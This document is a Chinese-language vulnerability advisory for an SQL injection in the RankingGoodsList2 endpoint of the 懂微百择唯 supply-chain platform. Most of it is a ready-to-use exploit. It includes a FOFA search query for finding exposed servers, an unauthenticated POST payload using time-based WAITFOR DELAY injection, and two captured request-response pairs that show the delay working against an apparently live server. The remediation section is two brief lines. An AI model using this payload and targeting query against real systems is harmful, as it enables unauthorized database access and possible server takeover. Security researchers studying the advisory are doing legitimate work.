

懂微百择唯·供应链 RankingGoodsList2 SQL注入致RCE漏洞

漏洞描述

懂微百择唯·供应链 RankingGoodsList2 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

懂微百择唯·供应链

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

```
FOFA: body="/Content/Css/_SiteCss/"

POC/EXP:

POST /Goods/RankingGoodsList2 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

goodsSortType=Recommend&goodsTypeList%5B%5D=1%';WAITFOR DELAY '0:0:5'--
```

发送请求

强制 HTTPS

历史

数据包扫描

热加载

构造请求

Request

```
1 POST /Goods/RankingGoodsList2 HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
5 Accept-Encoding: gzip, deflate, br
6 Accept-Language: zh-CN,zh;q=0.9
7 Connection: keep-alive
8 
9 goodsSortType=Recommend&goodsTypeList%5B%5D=1%';WAITFOR DELAY('0:0:5'--)
```

Responses

https 7546bytes / 5146ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: application/json; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 Set-Cookie: ASP.NET_SessionId=tt30sdyk0o4xqvfl0a0wngdg; path=/; secure; HttpOnly; SameSite=Lax
6 X-AspNet-Version: 4.0.30319
7 Set-Cookie: site=guangzhoushi; path=/; secure; HttpOnly
8 X-Powered-By: ASP.NET
9 Date: Wed, 20 Nov 2024 08:22:30 GMT
10 Content-Length: 7546
11 
12 {"Status":1,"Msg":"","Data":[{"ThirdShop":null,"IsShowGoodsSaleCount":false,"Id":28385,"Guid":"f5439532-0935-46b7-9140-8ca6a3400a31","BranchId":10001,"TypeId":439,"BrandId":11522,"SN":"5956","Name":"","DisplayName":"保拉(Paola)","PY":"BL·PAOLA·ST10FZ·HSMSTLBSTFHST·NMSFHNZ5956","Unit":"付","FranchiseeId":0,"FranchiseeName":null,"Price":3.19,"InPrice":0.0000,"Length":0,"Width":0,"Height":0,"PackingList":"","*10付","Service":"","Recommend":60,"RecommendDate":"","Date(-2209017600000)\\/","cuxiao":0.00,"cuxiaoDate":"","Date
```

发送请求

强制 HTTPS

历史

数据包扫描

热加载

构造请求

Request

```
1 POST /Goods/RankingGoodsList2 HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
5 Accept-Encoding: gzip, deflate, br
6 Accept-Language: zh-CN,zh;q=0.9
7 Connection: keep-alive
8 
9 goodsSortType=Recommend&goodsTypeList%5B%5D=1%';WAITFOR DELAY('0:0:8'--)
```

Responses

https 7546bytes / 8219ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: application/json; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 Set-Cookie: ASP.NET_SessionId=o3lxiwlvqly0d1kkcswjkwqg; path=/; secure; HttpOnly; SameSite=Lax
6 X-AspNet-Version: 4.0.30319
7 Set-Cookie: site=guangzhoushi; path=/; secure; HttpOnly
8 X-Powered-By: ASP.NET
9 Date: Wed, 20 Nov 2024 08:31:37 GMT
10 Content-Length: 7546
11 
12 {"Status":1,"Msg":"","Data":[{"ThirdShop":null,"IsShowGoodsSaleCount":false,"Id":28385,"Guid":"f5439532-0935-46b7-9140-8ca6a3400a31","BranchId":10001,"TypeId":439,"BrandId":11522,"SN":"5956","Name":"","DisplayName":"","PY":"BL·PAOLA·ST10FZ·HSMSTLBSTFHST·NMSFHNZ5956","Unit":"付","FranchiseeId":0,"FranchiseeName":null,"Price":3.19,"InPrice":0.0000,"Length":0,"Width":0,"Height":0,"PackingList":"","*10付","Service":"","Recommend":60,"RecommendDate":"","Date(-2209017600000)\\/","cuxiao":0.00,"cuxiaoDate":"","Date
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本